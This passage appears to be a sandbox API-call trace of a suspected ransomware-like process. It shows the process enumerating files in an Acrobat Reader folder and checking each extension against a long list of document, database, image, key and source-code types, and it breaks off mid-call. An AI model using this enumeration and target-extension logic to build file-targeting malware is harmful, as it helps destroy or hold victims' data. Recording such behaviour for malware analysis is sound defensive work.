[0274.685] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8802e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd8802e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315cf0 [0274.798] FindNextFileW (in: hFindFile=0x3315cf0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8802e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd8802e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0274.798] FindNextFileW (in: hFindFile=0x3315cf0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefd8802e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd8802e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdae26b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x184, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rhp_world_icon.png", cAlternateFileName="RHP_WO~2.PNG")) returned 1 [0274.798] lstrlenW (lpString="rhp_world_icon.png") returned 18 [0274.798] lstrlenW (lpString=".1cd") returned 4 [0274.798] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0274.798] lstrlenW (lpString=".3ds") returned 4 [0274.798] lstrcmpiW (lpString1=".3ds", lpString2=".png") returned -1 [0274.798] lstrlenW (lpString=".3fr") returned 4 [0274.798] lstrcmpiW (lpString1=".3fr", lpString2=".png") returned -1 [0274.799] lstrlenW (lpString=".3g2") returned 4 [0274.799] lstrcmpiW (lpString1=".3g2", lpString2=".png") returned -1 [0274.799] lstrlenW (lpString=".3gp") returned 4 [0274.799] lstrcmpiW (lpString1=".3gp", lpString2=".png") returned -1 [0274.799] lstrlenW (lpString=".7z") returned 3 [0274.799] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0274.799] lstrlenW (lpString=".accda") returned 6 [0274.799] lstrcmpiW (lpString1=".accda", lpString2="on.png") returned -1 [0274.799] lstrlenW (lpString=".accdb") returned 6 [0274.799] lstrcmpiW (lpString1=".accdb", lpString2="on.png") returned -1 [0274.799] lstrlenW (lpString=".accdc") returned 6 [0274.799] lstrcmpiW (lpString1=".accdc", lpString2="on.png") returned -1 [0274.799] lstrlenW (lpString=".accde") returned 6 [0274.799] lstrcmpiW (lpString1=".accde", lpString2="on.png") returned -1 [0274.799] lstrlenW (lpString=".accdt") returned 6 [0274.799] lstrcmpiW (lpString1=".accdt", lpString2="on.png") returned -1 [0274.799] lstrlenW (lpString=".accdw") returned 6 [0274.799] lstrcmpiW (lpString1=".accdw", lpString2="on.png") returned -1 [0274.799] lstrlenW (lpString=".adb") returned 4 [0274.799] lstrcmpiW (lpString1=".adb", lpString2=".png") returned -1 [0274.799] lstrlenW (lpString=".adp") returned 4 [0274.799] lstrcmpiW (lpString1=".adp", lpString2=".png") returned -1 [0274.799] lstrlenW (lpString=".ai") returned 3 [0274.799] lstrcmpiW (lpString1=".ai", lpString2="png") returned -1 [0274.799] lstrlenW (lpString=".ai3") returned 4 [0274.799] lstrcmpiW (lpString1=".ai3", lpString2=".png") returned -1 [0274.799] lstrlenW (lpString=".ai4") returned 4 [0274.800] lstrcmpiW (lpString1=".ai4", lpString2=".png") returned -1 [0274.800] lstrlenW (lpString=".ai5") returned 4 [0274.800] lstrcmpiW (lpString1=".ai5", lpString2=".png") returned -1 [0274.800] lstrlenW (lpString=".ai6") returned 4 [0274.800] lstrcmpiW (lpString1=".ai6", lpString2=".png") returned -1 [0274.800] lstrlenW (lpString=".ai7") returned 4 [0274.800] lstrcmpiW (lpString1=".ai7", lpString2=".png") returned -1 [0274.800] lstrlenW (lpString=".ai8") returned 4 [0274.800] lstrcmpiW (lpString1=".ai8", lpString2=".png") returned -1 [0274.800] lstrlenW (lpString=".anim") returned 5 [0274.800] lstrcmpiW (lpString1=".anim", lpString2="n.png") returned -1 [0274.800] lstrlenW (lpString=".arw") returned 4 [0274.800] lstrcmpiW (lpString1=".arw", lpString2=".png") returned -1 [0274.801] lstrlenW (lpString=".as") returned 3 [0274.801] lstrcmpiW (lpString1=".as", lpString2="png") returned -1 [0274.801] lstrlenW (lpString=".asa") returned 4 [0274.801] lstrcmpiW (lpString1=".asa", lpString2=".png") returned -1 [0274.801] lstrlenW (lpString=".asc") returned 4 [0274.801] lstrcmpiW (lpString1=".asc", lpString2=".png") returned -1 [0274.801] lstrlenW (lpString=".ascx") returned 5 [0274.801] lstrcmpiW (lpString1=".ascx", lpString2="n.png") returned -1 [0274.801] lstrlenW (lpString=".asm") returned 4 [0274.801] lstrcmpiW (lpString1=".asm", lpString2=".png") returned -1 [0274.801] lstrlenW (lpString=".asmx") returned 5 [0274.801] lstrcmpiW (lpString1=".asmx", lpString2="n.png") returned -1 [0274.801] lstrlenW (lpString=".asp") returned 4 [0274.801] lstrcmpiW (lpString1=".asp", lpString2=".png") returned -1 [0274.801] lstrlenW (lpString=".aspx") returned 5 [0274.801] lstrcmpiW (lpString1=".aspx", lpString2="n.png") returned -1 [0274.801] lstrlenW (lpString=".asr") returned 4 [0274.801] lstrcmpiW (lpString1=".asr", lpString2=".png") returned -1 [0274.801] lstrlenW (lpString=".asx") returned 4 [0274.801] lstrcmpiW (lpString1=".asx", lpString2=".png") returned -1 [0274.801] lstrlenW (lpString=".avi") returned 4 [0274.801] lstrcmpiW (lpString1=".avi", lpString2=".png") returned -1 [0274.801] lstrlenW (lpString=".avs") returned 4 [0274.801] lstrcmpiW (lpString1=".avs", lpString2=".png") returned -1 [0274.801] lstrlenW (lpString=".backup") returned 7 [0274.801] lstrcmpiW (lpString1=".backup", lpString2="con.png") returned -1 [0274.801] lstrlenW (lpString=".bak") returned 4 [0274.801] lstrcmpiW (lpString1=".bak", lpString2=".png") returned -1 [0274.802] lstrlenW (lpString=".bay") returned 4 [0274.802] lstrcmpiW (lpString1=".bay", lpString2=".png") returned -1 [0274.802] lstrlenW (lpString=".bd") returned 3 [0274.802] lstrcmpiW (lpString1=".bd", lpString2="png") returned -1 [0274.802] lstrlenW (lpString=".bin") returned 4 [0274.802] lstrcmpiW (lpString1=".bin", lpString2=".png") returned -1 [0274.802] lstrlenW (lpString=".bmp") returned 4 [0274.802] lstrcmpiW (lpString1=".bmp", lpString2=".png") returned -1 [0274.802] lstrlenW (lpString=".bz2") returned 4 [0274.802] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0274.802] lstrlenW (lpString=".c") returned 2 [0274.802] lstrcmpiW (lpString1=".c", lpString2="ng") returned -1 [0274.802] lstrlenW (lpString=".cdr") returned 4 [0274.802] lstrcmpiW (lpString1=".cdr", lpString2=".png") returned -1 [0274.802] lstrlenW (lpString=".cer") returned 4 [0274.802] lstrcmpiW (lpString1=".cer", lpString2=".png") returned -1 [0274.802] lstrlenW (lpString=".cf") returned 3 [0274.802] lstrcmpiW (lpString1=".cf", lpString2="png") returned -1 [0274.802] lstrlenW (lpString=".cfc") returned 4 [0274.802] lstrcmpiW (lpString1=".cfc", lpString2=".png") returned -1 [0274.802] lstrlenW (lpString=".cfm") returned 4 [0274.802] lstrcmpiW (lpString1=".cfm", lpString2=".png") returned -1 [0274.802] lstrlenW (lpString=".cfml") returned 5 [0274.802] lstrcmpiW (lpString1=".cfml", lpString2="n.png") returned -1 [0274.802] lstrlenW (lpString=".cfu") returned 4 [0274.802] lstrcmpiW (lpString1=".cfu", lpString2=".png") returned -1 [0274.802] lstrlenW (lpString=".chm") returned 4 [0274.803] lstrcmpiW (lpString1=".chm", lpString2=".png") returned -1 [0274.803] lstrlenW (lpString=".cin") returned 4 [0274.803] lstrcmpiW (lpString1=".cin", lpString2=".png") returned -1 [0274.803] lstrlenW (lpString=".class") returned 6 [0274.803] lstrcmpiW (lpString1=".class", lpString2="on.png") returned -1 [0274.803] lstrlenW (lpString=".clx") returned 4 [0274.803] lstrcmpiW (lpString1=".clx", lpString2=".png") returned -1 [0274.803] lstrlenW (lpString=".config") returned 7 [0274.803] lstrcmpiW (lpString1=".config", lpString2="con.png") returned -1 [0274.803] lstrlenW (lpString=".cpp") returned 4 [0274.803] lstrcmpiW (lpString1=".cpp", lpString2=".png") returned -1 [0274.803] lstrlenW (lpString=".cr2") returned 4 [0274.803] lstrcmpiW (lpString1=".cr2", lpString2=".png") returned -1 [0274.803] lstrlenW (lpString=".crt") returned 4 [0274.803] lstrcmpiW (lpString1=".crt", lpString2=".png") returned -1 [0274.803] lstrlenW (lpString=".crw") returned 4 [0274.803] lstrcmpiW (lpString1=".crw", lpString2=".png") returned -1 [0274.803] lstrlenW (lpString=".cs") returned 3 [0274.803] lstrcmpiW (lpString1=".cs", lpString2="png") returned -1 [0274.803] lstrlenW (lpString=".css") returned 4 [0274.803] lstrcmpiW (lpString1=".css", lpString2=".png") returned -1 [0274.803] lstrlenW (lpString=".csv") returned 4 [0274.803] lstrcmpiW (lpString1=".csv", lpString2=".png") returned -1 [0274.803] lstrlenW (lpString=".cub") returned 4 [0274.803] lstrcmpiW (lpString1=".cub", lpString2=".png") returned -1 [0274.803] lstrlenW (lpString=".dae") returned 4 [0274.803] lstrcmpiW (lpString1=".dae", lpString2=".png") returned -1 [0274.803] lstrlenW (lpString=".dat") returned 4 [0274.804] lstrcmpiW (lpString1=".dat", lpString2=".png") returned -1 [0274.804] lstrlenW (lpString=".db") returned 3 [0274.804] lstrcmpiW (lpString1=".db", lpString2="png") returned -1 [0274.804] lstrlenW (lpString=".dbf") returned 4 [0274.804] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0274.804] lstrlenW (lpString=".dbx") returned 4 [0274.804] lstrcmpiW (lpString1=".dbx", lpString2=".png") returned -1 [0274.804] lstrlenW (lpString=".dc3") returned 4 [0274.804] lstrcmpiW (lpString1=".dc3", lpString2=".png") returned -1 [0274.804] lstrlenW (lpString=".dcm") returned 4 [0274.804] lstrcmpiW (lpString1=".dcm", lpString2=".png") returned -1 [0274.804] lstrlenW (lpString=".dcr") returned 4 [0274.804] lstrcmpiW (lpString1=".dcr", lpString2=".png") returned -1 [0274.804] lstrlenW (lpString=".der") returned 4 [0274.804] lstrcmpiW (lpString1=".der", lpString2=".png") returned -1 [0274.804] lstrlenW (lpString=".dib") returned 4 [0274.804] lstrcmpiW (lpString1=".dib", lpString2=".png") returned -1 [0274.804] lstrlenW (lpString=".dic") returned 4 [0274.804] lstrcmpiW (lpString1=".dic", lpString2=".png") returned -1 [0274.804] lstrlenW (lpString=".dif") returned 4 [0274.804] lstrcmpiW (lpString1=".dif", lpString2=".png") returned -1 [0274.804] lstrlenW (lpString=".divx") returned 5 [0274.804] lstrcmpiW (lpString1=".divx", lpString2="n.png") returned -1 [0274.804] lstrlenW (lpString=".djvu") returned 5 [0274.804] lstrcmpiW (lpString1=".djvu", lpString2="n.png") returned -1 [0274.804] lstrlenW (lpString=".dng") returned 4 [0274.804] lstrcmpiW (lpString1=".dng", lpString2=".png") returned -1 [0274.804] lstrlenW (lpString=".doc") returned 4 [0274.805] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0274.805] lstrlenW (lpString=".docm") returned 5 [0274.805] lstrcmpiW (lpString1=".docm", lpString2="n.png") returned -1 [0274.805] lstrlenW (lpString=".docx") returned 5 [0274.805] lstrcmpiW (lpString1=".docx", lpString2="n.png") returned -1 [0274.805] lstrlenW (lpString=".dot") returned 4 [0274.805] lstrcmpiW (lpString1=".dot", lpString2=".png") returned -1 [0274.805] lstrlenW (lpString=".dotm") returned 5 [0274.805] lstrcmpiW (lpString1=".dotm", lpString2="n.png") returned -1 [0274.805] lstrlenW (lpString=".dotx") returned 5 [0274.805] lstrcmpiW (lpString1=".dotx", lpString2="n.png") returned -1 [0274.805] lstrlenW (lpString=".dpx") returned 4 [0274.805] lstrcmpiW (lpString1=".dpx", lpString2=".png") returned -1 [0274.805] lstrlenW (lpString=".dqy") returned 4 [0274.805] lstrcmpiW (lpString1=".dqy", lpString2=".png") returned -1 [0274.805] lstrlenW (lpString=".dsn") returned 4 [0274.805] lstrcmpiW (lpString1=".dsn", lpString2=".png") returned -1 [0274.805] lstrlenW (lpString=".dt") returned 3 [0274.805] lstrcmpiW (lpString1=".dt", lpString2="png") returned -1 [0274.805] lstrlenW (lpString=".dtd") returned 4 [0274.805] lstrcmpiW (lpString1=".dtd", lpString2=".png") returned -1 [0274.805] lstrlenW (lpString=".dwg") returned 4 [0274.805] lstrcmpiW (lpString1=".dwg", lpString2=".png") returned -1 [0274.805] lstrlenW (lpString=".dwt") returned 4 [0274.805] lstrcmpiW (lpString1=".dwt", lpString2=".png") returned -1 [0274.805] lstrlenW (lpString=".dx") returned 3 [0274.805] lstrcmpiW (lpString1=".dx", lpString2="png") returned -1 [0274.805] lstrlenW (lpString=".dxf") returned 4 [0274.806] lstrcmpiW (lpString1=".dxf", lpString2=".png") returned -1 [0274.806] lstrlenW (lpString=".edml") returned 5 [0274.806] lstrcmpiW (lpString1=".edml", lpString2="n.png") returned -1 [0274.806] lstrlenW (lpString=".efd") returned 4 [0274.806] lstrcmpiW (lpString1=".efd", lpString2=".png") returned -1 [0274.806] lstrlenW (lpString=".elf") returned 4 [0274.806] lstrcmpiW (lpString1=".elf", lpString2=".png") returned -1 [0274.806] lstrlenW (lpString=".emf") returned 4 [0274.806] lstrcmpiW (lpString1=".emf", lpString2=".png") returned -1 [0274.806] lstrlenW (lpString=".emz") returned 4 [0274.806] lstrcmpiW (lpString1=".emz", lpString2=".png") returned -1 [0274.806] lstrlenW (lpString=".epf") returned 4 [0274.806] lstrcmpiW (lpString1=".epf", lpString2=".png") returned -1 [0274.806] lstrlenW (lpString=".eps") returned 4 [0274.806] lstrcmpiW (lpString1=".eps", lpString2=".png") returned -1 [0274.806] lstrlenW (lpString=".epsf") returned 5 [0274.806] lstrcmpiW (lpString1=".epsf", lpString2="n.png") returned -1 [0274.806] lstrlenW (lpString=".epsp") returned 5 [0274.806] lstrcmpiW (lpString1=".epsp", lpString2="n.png") returned -1 [0274.806] lstrlenW (lpString=".erf") returned 4 [0274.806] lstrcmpiW (lpString1=".erf", lpString2=".png") returned -1 [0274.806] lstrlenW (lpString=".exr") returned 4 [0274.806] lstrcmpiW (lpString1=".exr", lpString2=".png") returned -1 [0274.806] lstrlenW (lpString=".f4v") returned 4 [0274.806] lstrcmpiW (lpString1=".f4v", lpString2=".png") returned -1 [0274.806] lstrlenW (lpString=".fido") returned 5 [0274.806] lstrcmpiW (lpString1=".fido", lpString2="n.png") returned -1 [0274.807] lstrlenW (lpString=".flm") returned 4 [0274.807] lstrcmpiW (lpString1=".flm", lpString2=".png") returned -1 [0274.807] lstrlenW (lpString=".flv") returned 4 [0274.807] lstrcmpiW (lpString1=".flv", lpString2=".png") returned -1 [0274.807] lstrlenW (lpString=".frm") returned 4 [0274.807] lstrcmpiW (lpString1=".frm", lpString2=".png") returned -1 [0274.807] lstrlenW (lpString=".fxg") returned 4 [0274.807] lstrcmpiW (lpString1=".fxg", lpString2=".png") returned -1 [0274.807] lstrlenW (lpString=".geo") returned 4 [0274.807] lstrcmpiW (lpString1=".geo", lpString2=".png") returned -1 [0274.807] lstrlenW (lpString=".gif") returned 4 [0274.807] lstrcmpiW (lpString1=".gif", lpString2=".png") returned -1 [0274.807] lstrlenW (lpString=".grs") returned 4 [0274.807] lstrcmpiW (lpString1=".grs", lpString2=".png") returned -1 [0274.807] lstrlenW (lpString=".gz") returned 3 [0274.807] lstrcmpiW (lpString1=".gz", lpString2="png") returned -1 [0274.807] lstrlenW (lpString=".h") returned 2 [0274.807] lstrcmpiW (lpString1=".h", lpString2="ng") returned -1 [0274.807] lstrlenW (lpString=".hdr") returned 4 [0274.807] lstrcmpiW (lpString1=".hdr", lpString2=".png") returned -1 [0274.807] lstrlenW (lpString=".hpp") returned 4 [0274.807] lstrcmpiW (lpString1=".hpp", lpString2=".png") returned -1 [0274.807] lstrlenW (lpString=".hta") returned 4 [0274.807] lstrcmpiW (lpString1=".hta", lpString2=".png") returned -1 [0274.807] lstrlenW (lpString=".htc") returned 4 [0274.807] lstrcmpiW (lpString1=".htc", lpString2=".png") returned -1 [0274.807] lstrlenW (lpString=".htm") returned 4 [0274.808] lstrcmpiW (lpString1=".htm", lpString2=".png") returned -1 [0274.808] lstrlenW (lpString=".html") returned 5 [0274.808] lstrcmpiW (lpString1=".html", lpString2="n.png") returned -1 [0274.808] lstrlenW (lpString=".icb") returned 4 [0274.808] lstrcmpiW (lpString1=".icb", lpString2=".png") returned -1 [0274.808] lstrlenW (lpString=".ics") returned 4 [0274.808] lstrcmpiW (lpString1=".ics", lpString2=".png") returned -1 [0274.808] lstrlenW (lpString=".iff") returned 4 [0274.808] lstrcmpiW (lpString1=".iff", lpString2=".png") returned -1 [0274.808] lstrlenW (lpString=".inc") returned 4 [0274.808] lstrcmpiW (lpString1=".inc", lpString2=".png") returned -1 [0274.808] lstrlenW (lpString=".indd") returned 5 [0274.808] lstrcmpiW (lpString1=".indd", lpString2="n.png") returned -1 [0274.808] lstrlenW (lpString=".ini") returned 4 [0274.808] lstrcmpiW (lpString1=".ini", lpString2=".png") returned -1 [0274.808] lstrlenW (lpString=".iqy") returned 4 [0274.808] lstrcmpiW (lpString1=".iqy", lpString2=".png") returned -1 [0274.808] lstrlenW (lpString=".j2c") returned 4 [0274.808] lstrcmpiW (lpString1=".j2c", lpString2=".png") returned -1 [0274.808] lstrlenW (lpString=".j2k") returned 4 [0274.808] lstrcmpiW (lpString1=".j2k", lpString2=".png") returned -1 [0274.808] lstrlenW (lpString=".java") returned 5 [0274.808] lstrcmpiW (lpString1=".java", lpString2="n.png") returned -1 [0274.808] lstrlenW (lpString=".jp2") returned 4 [0274.808] lstrcmpiW (lpString1=".jp2", lpString2=".png") returned -1 [0274.808] lstrlenW (lpString=".jpc") returned 4 [0274.808] lstrcmpiW (lpString1=".jpc", lpString2=".png") returned -1 [0274.809] lstrlenW (lpString=".jpe") returned 4 [0274.809] lstrcmpiW (lpString1=".jpe", lpString2=".png") returned -1 [0274.809] lstrlenW (lpString=".jpeg") returned 5 [0274.809] lstrcmpiW (lpString1=".jpeg", lpString2="n.png") returned -1 [0274.809] lstrlenW (lpString=".jpf") returned 4 [0274.809] lstrcmpiW (lpString1=".jpf", lpString2=".png") returned -1 [0274.809] lstrlenW (lpString=".jpg") returned 4 [0274.809] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0274.809] lstrlenW (lpString=".jpx") returned 4 [0274.809] lstrcmpiW (lpString1=".jpx", lpString2=".png") returned -1 [0274.809] lstrlenW (lpString=".js") returned 3 [0274.809] lstrcmpiW (lpString1=".js", lpString2="png") returned -1 [0274.809] lstrlenW (lpString=".jsf") returned 4 [0274.809] lstrcmpiW (lpString1=".jsf", lpString2=".png") returned -1 [0274.809] lstrlenW (lpString=".json") returned 5 [0274.809] lstrcmpiW (lpString1=".json", lpString2="n.png") returned -1 [0274.809] lstrlenW (lpString=".jsp") returned 4 [0274.809] lstrcmpiW (lpString1=".jsp", lpString2=".png") returned -1 [0274.809] lstrlenW (lpString=".kdc") returned 4 [0274.809] lstrcmpiW (lpString1=".kdc", lpString2=".png") returned -1 [0274.809] lstrlenW (lpString=".kmz") returned 4 [0274.809] lstrcmpiW (lpString1=".kmz", lpString2=".png") returned -1 [0274.809] lstrlenW (lpString=".kwm") returned 4 [0274.809] lstrcmpiW (lpString1=".kwm", lpString2=".png") returned -1 [0274.809] lstrlenW (lpString=".lasso") returned 6 [0274.809] lstrcmpiW (lpString1=".lasso", lpString2="on.png") returned -1 [0274.809] lstrlenW (lpString=".lbi") returned 4 [0274.809] lstrcmpiW (lpString1=".lbi", lpString2=".png") returned -1 [0274.810] lstrlenW (lpString=".lgf") returned 4 [0274.810] lstrcmpiW (lpString1=".lgf", lpString2=".png") returned -1 [0274.810] lstrlenW (lpString=".lgp") returned 4 [0274.810] lstrcmpiW (lpString1=".lgp", lpString2=".png") returned -1 [0274.810] lstrlenW (lpString=".log") returned 4 [0274.810] lstrcmpiW (lpString1=".log", lpString2=".png") returned -1 [0274.810] lstrlenW (lpString=".m1v") returned 4 [0274.810] lstrcmpiW (lpString1=".m1v", lpString2=".png") returned -1 [0274.810] lstrlenW (lpString=".m4a") returned 4 [0274.810] lstrcmpiW (lpString1=".m4a", lpString2=".png") returned -1 [0274.810] lstrlenW (lpString=".m4v") returned 4 [0274.810] lstrcmpiW (lpString1=".m4v", lpString2=".png") returned -1 [0274.810] lstrlenW (lpString=".max") returned 4 [0274.810] lstrcmpiW (lpString1=".max", lpString2=".png") returned -1 [0274.810] lstrlenW (lpString=".md") returned 3 [0274.810] lstrcmpiW (lpString1=".md", lpString2="png") returned -1 [0274.810] lstrlenW (lpString=".mda") returned 4 [0274.810] lstrcmpiW (lpString1=".mda", lpString2=".png") returned -1 [0274.810] lstrlenW (lpString=".mdb") returned 4 [0274.810] lstrcmpiW (lpString1=".mdb", lpString2=".png") returned -1 [0274.810] lstrlenW (lpString=".mde") returned 4 [0274.810] lstrcmpiW (lpString1=".mde", lpString2=".png") returned -1 [0274.810] lstrlenW (lpString=".mdf") returned 4 [0274.810] lstrcmpiW (lpString1=".mdf", lpString2=".png") returned -1 [0274.810] lstrlenW (lpString=".mdw") returned 4 [0274.811] lstrcmpiW (lpString1=".mdw", lpString2=".png") returned -1 [0274.811] lstrlenW (lpString=".mef") returned 4 [0274.811] lstrcmpiW (lpString1=".mef", lpString2=".png") returned -1 [0274.811] lstrlenW (lpString=".mft") returned 4 [0274.811] lstrcmpiW (lpString1=".mft", lpString2=".png") returned -1 [0274.811] lstrlenW (lpString=".mfw") returned 4 [0274.811] lstrcmpiW (lpString1=".mfw", lpString2=".png") returned -1 [0274.811] lstrlenW (lpString=".mht") returned 4 [0274.811] lstrcmpiW (lpString1=".mht", lpString2=".png") returned -1 [0274.811] lstrlenW (lpString=".mhtml") returned 6 [0274.811] lstrcmpiW (lpString1=".mhtml", lpString2="on.png") returned -1 [0274.811] lstrlenW (lpString=".mka") returned 4 [0274.811] lstrcmpiW (lpString1=".mka", lpString2=".png") returned -1 [0274.811] lstrlenW (lpString=".mkidx") returned 6 [0274.811] lstrcmpiW (lpString1=".mkidx", lpString2="on.png") returned -1 [0274.811] lstrlenW (lpString=".mkv") returned 4 [0274.811] lstrcmpiW (lpString1=".mkv", lpString2=".png") returned -1 [0274.812] lstrlenW (lpString=".mos") returned 4 [0274.812] lstrcmpiW (lpString1=".mos", lpString2=".png") returned -1 [0274.812] lstrlenW (lpString=".mov") returned 4 [0274.812] lstrcmpiW (lpString1=".mov", lpString2=".png") returned -1 [0274.812] lstrlenW (lpString=".mp3") returned 4 [0274.812] lstrcmpiW (lpString1=".mp3", lpString2=".png") returned -1 [0274.812] lstrlenW (lpString=".mp4") returned 4 [0274.812] lstrcmpiW (lpString1=".mp4", lpString2=".png") returned -1 [0274.812] lstrlenW (lpString=".mpeg") returned 5 [0274.812] lstrcmpiW (lpString1=".mpeg", lpString2="n.png") returned -1 [0274.812] lstrlenW (lpString=".mpg") returned 4 [0274.812] lstrcmpiW (lpString1=".mpg", lpString2=".png") returned -1 [0274.812] lstrlenW (lpString=".mpv") returned 4 [0274.812] lstrcmpiW (lpString1=".mpv", lpString2=".png") returned -1 [0274.812] lstrlenW (lpString=".mrw") returned 4 [0274.812] lstrcmpiW (lpString1=".mrw", lpString2=".png") returned -1 [0274.812] lstrlenW (lpString=".msg") returned 4 [0274.812] lstrcmpiW (lpString1=".msg", lpString2=".png") returned -1 [0274.812] lstrlenW (lpString=".mxl") returned 4 [0274.812] lstrcmpiW (lpString1=".mxl", lpString2=".png") returned -1 [0274.812] lstrlenW (lpString=".myd") returned 4 [0274.812] lstrcmpiW (lpString1=".myd", lpString2=".png") returned -1 [0274.812] lstrlenW (lpString=".myi") returned 4 [0274.812] lstrcmpiW (lpString1=".myi", lpString2=".png") returned -1 [0274.812] lstrlenW (lpString=".nef") returned 4 [0274.812] lstrcmpiW (lpString1=".nef", lpString2=".png") returned -1 [0274.812] lstrlenW (lpString=".nrw") returned 4 [0274.813] lstrcmpiW (lpString1=".nrw", lpString2=".png") returned -1 [0274.813] lstrlenW (lpString=".obj") returned 4 [0274.813] lstrcmpiW (lpString1=".obj", lpString2=".png") returned -1 [0274.813] lstrlenW (lpString=".odb") returned 4 [0274.813] lstrcmpiW (lpString1=".odb", lpString2=".png") returned -1 [0274.813] lstrlenW (lpString=".odc") returned 4 [0274.813] lstrcmpiW (lpString1=".odc", lpString2=".png") returned -1 [0274.813] lstrlenW (lpString=".odm") returned 4 [0274.813] lstrcmpiW (lpString1=".odm", lpString2=".png") returned -1 [0274.813] lstrlenW (lpString=".odp") returned 4 [0274.813] lstrcmpiW (lpString1=".odp", lpString2=".png") returned -1 [0274.813] lstrlenW (lpString=".ods") returned 4 [0274.813] lstrcmpiW (lpString1=".ods", lpString2=".png") returned -1 [0274.813] lstrlenW (lpString=".oft") returned 4 [0274.813] lstrcmpiW (lpString1=".oft", lpString2=".png") returned -1 [0274.813] lstrlenW (lpString=".one") returned 4 [0274.813] lstrcmpiW (lpString1=".one", lpString2=".png") returned -1 [0274.813] lstrlenW (lpString=".onepkg") returned 7 [0274.813] lstrcmpiW (lpString1=".onepkg", lpString2="con.png") returned -1 [0274.813] lstrlenW (lpString=".onetoc2") returned 8 [0274.813] lstrcmpiW (lpString1=".onetoc2", lpString2="icon.png") returned -1 [0274.813] lstrlenW (lpString=".opt") returned 4 [0274.813] lstrcmpiW (lpString1=".opt", lpString2=".png") returned -1 [0274.813] lstrlenW (lpString=".oqy") returned 4 [0274.813] lstrcmpiW (lpString1=".oqy", lpString2=".png") returned -1 [0274.813] lstrlenW (lpString=".orf") returned 4 [0274.813] lstrcmpiW (lpString1=".orf", lpString2=".png") returned -1 [0274.813] lstrlenW (lpString=".p12") returned 4 [0274.814] lstrcmpiW (lpString1=".p12", lpString2=".png") returned -1 [0274.814] lstrlenW (lpString=".p7b") returned 4 [0274.814] lstrcmpiW (lpString1=".p7b", lpString2=".png") returned -1 [0274.814] lstrlenW (lpString=".p7c") returned 4 [0274.814] lstrcmpiW (lpString1=".p7c", lpString2=".png") returned -1 [0274.814] lstrlenW (lpString=".pam") returned 4 [0274.814] lstrcmpiW (lpString1=".pam", lpString2=".png") returned -1 [0274.814] lstrlenW (lpString=".pbm") returned 4 [0274.814] lstrcmpiW (lpString1=".pbm", lpString2=".png") returned -1 [0274.814] lstrlenW (lpString=".pct") returned 4 [0274.814] lstrcmpiW (lpString1=".pct", lpString2=".png") returned -1 [0274.814] lstrlenW (lpString=".pcx") returned 4 [0274.814] lstrcmpiW (lpString1=".pcx", lpString2=".png") returned -1 [0274.814] lstrlenW (lpString=".pdd") returned 4 [0274.814] lstrcmpiW (lpString1=".pdd", lpString2=".png") returned -1 [0274.814] lstrlenW (lpString=".pdf") returned 4 [0274.814] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0274.814] lstrlenW (lpString=".pdp") returned 4 [0274.814] lstrcmpiW (lpString1=".pdp", lpString2=".png") returned -1 [0274.814] lstrlenW (lpString=".pef") returned 4 [0274.814] lstrcmpiW (lpString1=".pef", lpString2=".png") returned -1 [0274.814] lstrlenW (lpString=".pem") returned 4 [0274.814] lstrcmpiW (lpString1=".pem", lpString2=".png") returned -1 [0274.814] lstrlenW (lpString=".pff") returned 4 [0274.814] lstrcmpiW (lpString1=".pff", lpString2=".png") returned -1 [0274.814] lstrlenW (lpString=".pfm") returned 4 [0274.814] lstrcmpiW (lpString1=".pfm", lpString2=".png") returned -1 [0274.814] lstrlenW (lpString=".pfx") returned 4 [0274.815] lstrcmpiW (lpString1=".pfx", lpString2=".png") returned -1 [0274.815] lstrlenW (lpString=".pgm") returned 4 [0274.815] lstrcmpiW (lpString1=".pgm", lpString2=".png") returned -1 [0274.815] lstrlenW (lpString=".php") returned 4 [0274.815] lstrcmpiW (lpString1=".php", lpString2=".png") returned -1 [0274.815] lstrlenW (lpString=".php3") returned 5 [0274.815] lstrcmpiW (lpString1=".php3", lpString2="n.png") returned -1 [0274.815] lstrlenW (lpString=".php4") returned 5 [0274.815] lstrcmpiW (lpString1=".php4", lpString2="n.png") returned -1 [0274.815] lstrlenW (lpString=".php5") returned 5 [0274.815] lstrcmpiW (lpString1=".php5", lpString2="n.png") returned -1 [0274.815] lstrlenW (lpString=".phtml") returned 6 [0274.815] lstrcmpiW (lpString1=".phtml", lpString2="on.png") returned -1 [0274.815] lstrlenW (lpString=".pict") returned 5 [0274.815] lstrcmpiW (lpString1=".pict", lpString2="n.png") returned -1 [0274.815] lstrlenW (lpString=".pl") returned 3 [0274.815] lstrcmpiW 